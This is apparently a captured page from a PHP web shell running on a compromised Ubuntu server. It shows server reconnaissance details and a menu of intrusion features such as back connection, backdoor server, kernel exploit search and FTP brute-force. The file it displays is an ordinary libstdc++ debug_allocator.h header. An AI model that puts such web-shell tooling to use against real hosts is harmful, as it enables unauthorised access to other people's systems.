|
|
| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
|---|
| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
|---|
| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|---|
|
| Safe Mode | : | OFF |
|---|
| Open_Basedir | : | OFF |
|---|
| Freespace | : | 23.55 GB of 70.42 GB (33.44%) |
|---|
|
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
|
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
include/
c++/
4.6/
ext/
- drwxr-xr-x
|
Viewing file:  debug_allocator.h (3.96 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
// Allocators -*- C++ -*-
// Copyright (C) 2001, 2002, 2003, 2004, 2005, 2009, 2010
// Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.
// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
// <http://www.gnu.org/licenses/>.
/*
* Copyright (c) 1996-1997
* Silicon Graphics Computer Systems, Inc.
*
* Permission to use, copy, modify, distribute and sell this software
* and its documentation for any purpose is hereby granted without fee,
* provided that the above copyright notice appear in all copies and
* that both that copyright notice and this permission notice appear
* in supporting documentation. Silicon Graphics makes no
* representations about the suitability of this software for any
* purpose. It is provided "as is" without express or implied warranty.
*/
/** @file ext/debug_allocator.h
* This file is a GNU extension to the Standard C++ Library.
*/
#ifndef _DEBUG_ALLOCATOR_H
#define _DEBUG_ALLOCATOR_H 1
#include <stdexcept>
namespace __gnu_cxx _GLIBCXX_VISIBILITY(default)
{
_GLIBCXX_BEGIN_NAMESPACE_VERSION
using std::size_t;
/**
* @brief A meta-allocator with debugging bits, as per [20.4].
* @ingroup allocators
*
* This is precisely the allocator defined in the C++ Standard.
* - all allocation calls operator new
* - all deallocation calls operator delete
*/
template<typename _Alloc>
class debug_allocator
{
public:
typedef typename _Alloc::size_type size_type;
typedef typename _Alloc::difference_type difference_type;
typedef typename _Alloc::pointer pointer;
typedef typename _Alloc::const_pointer const_pointer;
typedef typename _Alloc::reference reference;
typedef typename _Alloc::const_reference const_reference;
typedef typename _Alloc::value_type value_type;
private:
// _M_extra is the number of objects that correspond to the
// extra space where debug information is stored.
size_type _M_extra;
_Alloc _M_allocator;
public:
debug_allocator()
{
const size_t __obj_size = sizeof(value_type);
_M_extra = (sizeof(size_type) + __obj_size - 1) / __obj_size;
}
pointer
allocate(size_type __n)
{
pointer __res = _M_allocator.allocate(__n + _M_extra);
size_type* __ps = reinterpret_cast<size_type*>(__res);
*__ps = __n;
return __res + _M_extra;
}
pointer
allocate(size_type __n, const void* __hint)
{
pointer __res = _M_allocator.allocate(__n + _M_extra, __hint);
size_type* __ps = reinterpret_cast<size_type*>(__res);
*__ps = __n;
return __res + _M_extra;
}
void
deallocate(pointer __p, size_type __n)
{
if (__p)
{
pointer __real_p = __p - _M_extra;
if (*reinterpret_cast<size_type*>(__real_p) != __n)
{
throw std::runtime_error("debug_allocator::deallocate"
" wrong size");
}
_M_allocator.deallocate(__real_p, __n + _M_extra);
}
else
throw std::runtime_error("debug_allocator::deallocate null pointer");
}
};
_GLIBCXX_END_NAMESPACE_VERSION
} // namespace
#endif
|
